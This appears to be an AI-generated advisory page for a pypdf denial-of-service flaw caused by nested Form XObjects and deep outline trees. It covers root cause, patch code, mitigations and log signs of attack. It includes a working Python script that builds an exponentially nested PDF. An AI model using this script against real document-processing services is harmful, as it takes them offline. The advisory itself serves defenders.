CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-84311

CVE-2026-84311: Algorithmic Complexity Denial of Service in pypdf

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 2, 2026·7 min read·27 visits

Executive Summary (TL;DR)

pypdf prior to version 6.16.1 is vulnerable to an algorithmic complexity Denial of Service (DoS) attack, resembling a 'Billion Laughs' entity expansion, via crafted nested Form XObjects or extremely deep outline trees.

CVE-2026-84311 (GHSA-763m-79hh-57f2) is an algorithmic complexity Denial of Service (DoS) vulnerability in the pypdf library. Prior to version 6.16.1, the library does not place limits on iterations during the parsing of PDF document outlines and recursive Form XObject (XForm) expansions. An attacker can craft a malicious, highly compressed PDF document containing nested structures which, when parsed, trigger exponential iteration paths, resulting in severe CPU and memory exhaustion.

Vulnerability Overview and Context

pypdf is a widely utilized, pure-Python library designed to handle PDF files, including operations such as splitting, merging, cropping, and transforming pages. Because of its ease of integration and lack of external dependencies, it is frequently embedded in backend systems to handle automated document indexing, content extraction, and document processing pipelines.

This widespread adoption exposes a massive attack surface. Backend systems processing arbitrary PDF uploads from untrusted users are particularly vulnerable. When a malicious document is submitted, any routine calling core functionalities like text extraction or outline parsing will trigger the vulnerability.

CVE-2026-84311 represents an algorithmic complexity vulnerability classified under CWE-834 (Excessive Iteration). It arises from the absence of execution constraints when resolving non-cyclic hierarchical structures. Unlike cyclic paths, which standard recursion counters can detect, these overlapping paths allow an attacker to trigger resource exhaustion with extremely small payload sizes.

Root Cause Analysis of the Algorithmic Complexity Flaw

The core issue exists within two distinct parsing logic paths in the pypdf implementation: the document outline tree retrieval and the XObject Form text extraction routines. In previous releases, pypdf relied on a simple cycle detection mechanism. It maintained a set of visited node identifiers to avoid infinite recursion loops, which successfully stopped cyclic graphs (e.g., Node A referencing Node B, which references Node A).

However, this defense mechanism failed against Directed Acyclic Graphs (DAGs) and deeply nested hierarchical structures that do not contain cycles. In the case of the document outline retrieval (located in _get_outline within _doc_common.py), an attacker can supply an excessively deep outline tree. Because Python has a strict limit on its call-stack, this deep recursion triggers a RecursionError, immediately terminating the interpreter process.

In the case of XObject Form text extraction (located in _extract_text within _page.py), the flaw manifests as an entity expansion pattern, conceptually identical to the classic XML 'Billion Laughs' attack. Form XObjects represent reusable layout streams. A page or a Form XObject can reference other Form XObjects using the /XObject resource dictionary. When traversing these references to extract text, the library would expand each form recursively without tracking global invocation counts. By layering multiple Form XObjects where each form points to the next child multiple times, the total operations scale exponentially. A file under 15 KB in size with 25 levels of nested XObject forms translates to over 33 million execution paths, completely monopolizing the thread and depleting physical memory.

Code-Level Vulnerability and Patch Walkthrough

To remediate CVE-2026-84311, the maintainers introduced a global tracking class called _TraversalState and defined strict limits for execution depths and total loops. The fix enforces a maximum outline depth of 100, a maximum outline entry limit of 100,000, and restricts the maximum Form XObject invocations per extraction to 5,000.

Below is an analysis of the vulnerable recursive logic contrasted against the patched implementation. The introduction of _TraversalState acts as a thread-safe, mutable container to persist invocation counts across recursive frames:

# File: pypdf/_utils.py
@dataclass
class _TraversalState:
    """State tracker implemented to monitor and limit recursion paths."""
    entry_count: int = 0
    has_logged: bool = False

In the patched version of _get_outline, the parser evaluates both the depth and the accumulative entry_count against their respective thresholds, throwing a LimitReachedError if exceeded:

# File: pypdf/_doc_common.py
if depth > OUTLINE_MAX_DEPTH:
    raise LimitReachedError(f"Maximum outline depth reached: {depth} > {OUTLINE_MAX_DEPTH}.")
 
traversal_state.entry_count += 1
if traversal_state.entry_count > OUTLINE_MAX_ENTRIES:
    raise LimitReachedError(
        f"Maximum outline entry limit reached: {traversal_state.entry_count} > {OUTLINE_MAX_ENTRIES}."
    )

Similarly, during text extraction, the _extract_text__xform method checks the global counter and drops additional processing if the cap is met, logging a warning rather than crashing the system:

# File: pypdf/_page.py
if traversal_state.entry_count >= MAX_XFORM_INVOCATIONS_PER_EXTRACTION:
    if not traversal_state.has_logged:
        traversal_state.has_logged = True
        logger_warning(
            "Exceeded %(limit)d form XObject invocations while extracting text; further content skipped.",
            source=__name__,
            limit=MAX_XFORM_INVOCATIONS_PER_EXTRACTION
        )
    return ""

This defensive design is robust. Instead of raising an unhandled exception that would crash the execution flow, the text extraction gracefully degrades by omitting deeply nested structures and continuing execution, thereby neutralizing the Denial of Service vector.

Attack Methodology and Proof-of-Concept

Exploiting CVE-2026-84311 requires no elevated privileges or unique environmental conditions, placing it at a low difficulty level (Attack Complexity: Low). The primary prerequisite is that the target application must accept user-supplied PDF documents and perform automated operations on them, such as reading outlines or extracting text (e.g., for document preview generation, full-text indexing, or content parsing).

To demonstrate this behavior, an attacker can construct a valid PDF structure using a sequential chain of Form XObject definitions. The attack relies on overlapping, non-cyclic references within the PDF tree. A visual flow of this structural layout is shown below:

This graph illustrates how the parser is forced to process 2^k paths. Below is a conceptual representation of the exploit construction script. This script outputs a tiny PDF file containing highly nested Form XObjects. Processing this file on any version of pypdf prior to 6.16.1 will lead to execution times or memory crashes:

# Proof of Concept: Generating a Resource Exhaustion PDF
from pypdf import PdfWriter
from pypdf.generic import DictionaryObject, NameObject, NumberObject, RectangleObject, StreamObject
 
writer = PdfWriter()
page = writer.add_blank_page(width=612, height=792)
 
# Configure nested Form XObjects to simulate the Billion Laughs structure
depth = 25
forms = [StreamObject() for _ in range(depth + 1)]
form_refs = [writer._add_object(form) for form in forms]
 
for k, form in enumerate(forms):
    if k < depth:
        next_name = NameObject(f"/F{k + 1}")
        form_content = f"q\n{next_name} Do\n{next_name} Do\nQ\n".encode("ascii")
        xobjects = DictionaryObject({next_name: form_refs[k + 1]})
    else:
        form_content = b"BT\n/F1 12 Tf\n100 700 Td\n(.) Tj\nET\n"
        xobjects = DictionaryObject()
 
    form.update({
        NameObject("/Type"): NameObject("/XObject"),
        NameObject("/Subtype"): NameObject("/Form"),
        NameObject("/FormType"): NumberObject(1),
        NameObject("/BBox"): RectangleObject([0, 0, 612, 792]),
        NameObject("/Resources"): DictionaryObject({NameObject("/XObject"): xobjects})
    })
    form.set_data(form_content)

When a vulnerable microservice processes the resulting file and attempts to index its text via page.extract_text(), the Python engine is locked into a heavy recursion loop. Because the memory required to maintain the traversal frames escalates rapidly, the host container or server will exhaust its physical memory, initiating an Out-of-Memory (OOM) killer event that crashes the process.

Threat Mitigation and Security Operations

The direct and recommended solution to address CVE-2026-84311 is to upgrade pypdf to version 6.16.1 or later. This release enforces hard limits on internal parser recursions, stopping the algorithmic exhaustion cleanly.

In scenarios where immediate updates cannot be deployed due to software freeze windows, organizations should implement defense-in-depth mitigations. First, establish process-level resource constraints using container configuration policies (such as setting memory limits and CPU limits in Kubernetes or Docker) or operating system controls (such as ulimit or systemd service execution limits). This ensures that if a parser thread hangs, it will be terminated without taking down the entire service host.

Second, applications can implement file processing timeout mechanisms. Python's multiprocessing library can execute the PDF extraction process in a separate sandboxed thread or process with a strict execution wall-time (e.g., terminating any task that takes longer than 10 seconds). Furthermore, you should inspect logs for signature markers indicating exploit attempts:

  • Look for occurrences of pypdf.errors.LimitReachedError indicating that maximum depth limits were reached.
  • Look for the specific warning message logged by the patched library: Exceeded 5000 form XObject invocations while extracting text; further form content is skipped.

Implementing these rules ensures visibility into ongoing attacks while validating the efficacy of deployed patches.

Official Patches

py-pdfCommit implementing limit checks on recursion and nested traversals

Fix Analysis (1)

Technical Appendix

CVSS Score
4.8/ 10
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Affected Systems

Python backend applications parsing untrusted PDF uploadsDocument indexing and full-text extraction microservicesClient-side Python applications processing user-supplied PDF documents

Affected Versions Detail

Product
Affected Versions
Fixed Version
pypdf
py-pdf
< 6.16.16.16.1
AttributeDetail
CWE IDCWE-834 (Excessive Iteration)
Attack VectorLocal (via untrusted file processing)
CVSS Score4.8 (Medium)
Exploit StatusProof-of-Concept Available
CISA KEV StatusNot Listed
ImpactApplication-level Denial of Service (CPU/Memory Exhaustion)
Patched Version6.16.1

MITRE ATT&CK Mapping

T1499.004Endpoint Denial of Service: Application Exhaustion Flood
Impact
CWE-834
Excessive Iteration

The software performs an iterative operation where the loop control is dependent on an untrusted input size, or contains recursion logic without strict boundary limits, allowing an attacker to cause the software to consume an excessive amount of resources.

Known Exploits & Detection

GitHubProof-of-concept tests and replication files contained within the official pull request

Vulnerability Timeline

Pull Request #3966 submitted and patch commit published
2026-08-14
pypdf version 6.16.1 officially released
2026-08-14
CVE-2026-84311 published and registered in NVD
2026-09-01

References & Sources

  • [1]GitHub Security Advisory GHSA-763m-79hh-57f2
  • [2]pypdf Fix Commit d91ab705fd81ed1a9cec175c6958600dea1a4942
  • [3]pypdf Pull Request #3966
  • [4]pypdf 6.16.1 Release Notes
  • [5]NVD CVE-2026-84311 Record
  • [6]CVE.org CVE-2026-84311 Authority Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-11748
6.9

CVE-2026-11748: Unauthenticated LDAP Injection in Central Dogma Server Authentication

An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.

Alon Barad
Alon Barad
9 views•6 min read
•1 day ago•CVE-2026-11746
9.4

CVE-2026-11746: Use of Hard-coded ZooKeeper Replication Secret 'ch4n63m3' in Central Dogma Server

CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-56665
4.2

CVE-2026-56665: Logical Validation Bypass in ZITADEL External JWT Identity Provider

A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.

Alon Barad
Alon Barad
6 views•7 min read
•1 day ago•CVE-2026-59149
6.5

CVE-2026-59149: Sibling Directory Path Traversal in Mockoon Backend Server

CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-59148
8.8

CVE-2026-59148: Unauthenticated Administrative API and CORS Misconfiguration in Mockoon

An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.

Alon Barad
Alon Barad
11 views•6 min read
•1 day ago•CVE-2026-56666
4.8

CVE-2026-56666: Account Takeover via Improper Email Verification in ZITADEL Federated Identity Handler

An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.

Amit Schendel
Amit Schendel
7 views•7 min read